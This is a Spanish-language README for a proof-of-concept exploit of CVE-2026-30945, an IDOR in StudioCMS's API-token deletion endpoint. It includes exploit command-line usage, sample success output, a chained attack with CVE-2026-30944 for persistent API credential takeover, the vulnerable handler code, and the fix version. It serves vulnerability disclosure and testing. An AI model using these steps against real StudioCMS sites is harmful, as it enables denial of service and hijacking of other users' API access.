
Prueba de concepto del exploit para CVE-2026-30945, un IDOR en StudioCMS que permite la revocación arbitraria de tokens de API y la denegación de servicio. Incluye modos de prueba manual y automatizada.
StudioCMS IDOR — Revocación Arbitraria de Tokens API que Conduce a Denegación de Servicio
El endpoint DELETE /studiocms_api/dashboard/api-tokens en StudioCMS ≤ 0.3.0 permite que cualquier usuario autenticado con privilegios de editor o superiores revoque tokens API pertenecientes a cualquier otro usuario, incluidas las cuentas admin y .
ownerEl manejador acepta tokenID y userID directamente del payload de la solicitud sin verificar la propiedad del token, la identidad del solicitante ni la jerarquía de roles. Esto permite una denegación de servicio dirigida contra integraciones y automatizaciones críticas.
Relacionado: Esta vulnerabilidad comparte la misma causa raíz que CVE-2026-30944 (IDOR en generación de tokens). Cuando se encadenan, un atacante puede revocar tokens legítimos y generar otros nuevos, logrando una toma de control completa de las credenciales API.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Atacante │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Servidor │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ Pipeline │
│ CI/CD del │
│ Propietario │──► ❌ 401 No Autorizado
│ Integración │──► ❌ Acceso API Perdido
│ Monitoreo │──► ❌ Fallo Silencioso
└──────────────┘
| Campo | Valor |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Bypass de Autorización Mediante Clave Controlada por el Usuario |
| CWE (secundaria) | CWE-863: Autorización Incorrecta |
| MITRE ATT&CK | T1531 — Eliminación de Acceso a Cuenta |
| OWASP API | API1:2023 — Autorización de Nivel de Objeto Rota |
| Afectado | studiocms ≤ 0.3.0 |
| Corregido en | studiocms 0.4.0 |
| Archivo | Descripción |
|---|---|
cve_2026_30945_poc.py | Script de explotación en Python con modos manual y automatizado |
README.md | Este archivo |
LICENSE | Licencia MIT |
Editorpip install requests colorama
# Revocar un token específico perteneciente al propietario
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Encadenar con CVE-2026-30944: crear un token para el objetivo primero
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Guardar resultados en JSON
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Probar con múltiples roles
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argumento | Descripción |
|---|---|
-u, --url | URL base de StudioCMS objetivo |
--target-uuid | UUID del usuario objetivo cuyo token será revocado |
| Argumento | Descripción |
|---|---|
--token-id | UUID interno del registro de token a revocar (no el JWT). Si se omite, el script intentará crear un token primero mediante CVE-2026-30944 |
| Argumento | Descripción |
|---|---|
--username | Nombre de usuario para autenticación |
--password | Contraseña para autenticación |
| Argumento | Descripción |
|---|---|
--auto-test | Habilitar pruebas automatizadas de múltiples roles |
--editor-user | Nombre de usuario de la cuenta Editor |
--editor-pass | Contraseña de la cuenta Editor |
--visitor-user | Nombre de usuario de la cuenta Visitante |
--visitor-pass | Contraseña de la cuenta Visitante |
| Argumento | Descripción |
|---|---|
--save | Guardar resultados en archivo JSON |
--no-ssl-verify | Deshabilitar verificación de certificado SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticación
──────────────────────────────────────────────────────────
[+] Autenticado como 'editor01'
[*] Usuario de sesión: editor01 (editor)
[*] UUID de sesión: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 3: Revocación de Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID de token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revocando token API del objetivo...
[+] ¡Token revocado! Respuesta del servidor: Token deleted
[!] VULNERABILIDAD CONFIRMADA — ¡Token revocado exitosamente!
[!] Las integraciones API del usuario objetivo ahora están rotas (DoS)
──────────────────────────────────────────────────────────
FASE 3: Revocación de Token (IDOR)
──────────────────────────────────────────────────────────
[*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] ID de token: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] Revocando token API del objetivo...
[*] Acceso denegado (403 Prohibido) — el endpoint puede estar parcheado
[-] Revocación fallida: Acceso denegado (403 Prohibido)
Cuando se combina con el IDOR de generación de tokens (CVE-2026-30944), un atacante puede realizar una toma de control completa de las credenciales API:
Paso 1: Revocar el token legítimo del propietario (CVE-2026-30945)
└──► Los pipelines CI/CD del propietario fallan silenciosamente
Paso 2: Generar un nuevo token para el propietario (CVE-2026-30944)
└──► El atacante ahora tiene acceso API a nivel de propietario
Paso 3: El propietario crea un nuevo token para solucionarlo
└──► El atacante lo revoca nuevamente (DoS persistente)
Esto crea un escenario donde el atacante mantiene control persistente sobre el acceso API del propietario, revocando repetidamente cualquier token nuevo que el propietario cree mientras mantiene su propio acceso ilegítimo.
El manejador vulnerable en packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (líneas 58–99) acepta tokenID y userID del cuerpo de la solicitud y los pasa directamente a la función de eliminación sin ninguna verificación de autorización:
// [1] Solo verifica si el solicitante es editor — no PARA QUIÉN está revocando tokens
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Ambos valores del cuerpo de la solicitud — sin validación contra la sesión
const jsonData = yield* readAPIContextJson<{
tokenID: string; // Sin verificación de propiedad
userID: string; // Sin verificación de identidad
}>(ctx);
// [3] Pasados directamente a una operación destructiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
El manejador tiene cinco fallas distintas: puerta de permisos insuficiente, sin validación de propiedad del token, falta de verificación de identidad del solicitante, sin aplicación de jerarquía de roles y paso directo de valores controlados por el usuario a una operación destructiva.
Actualice StudioCMS a la versión 0.4.0 o posterior:
npm install studiocms@latest
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
Filipe Gaudard
Este PoC se publica bajo la Licencia MIT con fines educativos. Úselo de manera responsable y ética.